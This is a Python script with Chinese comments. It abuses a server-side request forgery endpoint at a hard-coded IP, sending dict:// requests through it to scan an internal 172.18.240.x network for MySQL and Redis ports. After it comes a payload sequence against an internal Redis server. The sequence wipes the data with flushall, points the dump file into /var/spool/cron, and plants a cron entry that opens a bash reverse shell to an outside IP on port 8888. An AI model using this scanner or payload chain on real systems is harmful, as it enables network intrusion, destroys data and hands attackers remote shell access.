import requests
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys


# 颜色常量，用于高亮显示

class Colors:
    RESET = "\033[0m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    RED = "\033[91m"
    BOLD = "\033[1m"


TARGET = "http://119.45.177.120"
HEADERS = {
    "Host": "119.45.177.120",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer": "http://119.45.177.120/",
    "Connection": "keep-alive",
}
LAST_OCTETS = range(1, 256)
PORTS = [3306, 6379]
MAX_THREADS = 50  # 并发线程数


# 线程安全的计数器

class Counter:
    def __init__(self):
        self.count = 0
        self.lock = threading.Lock()
        self.total = len(LAST_OCTETS) * len(PORTS)

    def increment(self):
        with self.lock:
            self.count += 1
            return self.count
    
    def get_progress(self):
        with self.lock:
            return f"{self.count}/{self.total} ({self.count / self.total * 100:.1f}%)"


def fetch(url):
    """发送请求并返回响应内容长度，出错时返回0"""
    try:
        response = requests.post(
            TARGET,
            headers=HEADERS,
            data={"url": url},
            timeout=5
        )
        return len(response.content)
    except requests.RequestException:
        return 0


def scan_target(octet, port, baseline, counter):
    """扫描单个目标并返回结果（仅当长度超过基线时）"""
    ip = f"172.18.240.{octet}"
    url = f"dict://{ip}:{port}"
    length = fetch(url)
    # 更新进度
    progress = counter.increment()
    # 仅在有变化时显示进度，避免过多输出
    if progress % 10 == 0:
        sys.stdout.write(f"\r{Colors.YELLOW}扫描进度: {progress}{Colors.RESET}")
        sys.stdout.flush()
    # 只返回长度大于基线的结果
    return (length, ip, port) if length > baseline else None


def main():
    print(f"{Colors.BOLD}获取基线响应长度...{Colors.RESET}")
    baseline = fetch("dict://172.18.240.254:65535")
    print(f"{Colors.BOLD}基线响应长度：{baseline}{Colors.RESET}")
    print(f"{Colors.BOLD}开始探测 ({len(LAST_OCTETS)}个IP，{len(PORTS)}个端口)...{Colors.RESET}\n")

    counter = Counter()
    results = []
    
    # 使用线程池并发扫描
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        # 创建所有任务
        futures = [
            executor.submit(scan_target, octet, port, baseline, counter)
            for octet in LAST_OCTETS
            for port in PORTS
        ]
    
        # 处理完成的任务
        for future in as_completed(futures):
            result = future.result()
            if result:
                results.append(result)
    
    # 清除进度条
    print("\r" + " " * 30 + "\r", end="")
    
    # 按响应长度排序并显示结果
    for length, ip, port in sorted(results, key=lambda x: x[0], reverse=True):
        print(f"{Colors.GREEN}[+] 内网服务可能存在: {ip}:{port}  响应长度 = {length}{Colors.RESET}")
    
    if not results:
        print(f"{Colors.YELLOW}未发现响应长度超过基线的服务{Colors.RESET}")
    
    print(f"\n{Colors.BOLD}探测完成。{Colors.RESET}")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Colors.RED}用户中断扫描{Colors.RESET}")
        sys.exit(0)

dict://172.18.240.7:6379/flushall

dict://172.18.240.7:6379/config set dir /var/spool/cron

dict://172.18.240.7:6379/config set dbfilename root

dict://172.18.240.7:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/8.152.4.133/8888 0>&1\n"

dict://172.18.240.7:6379/save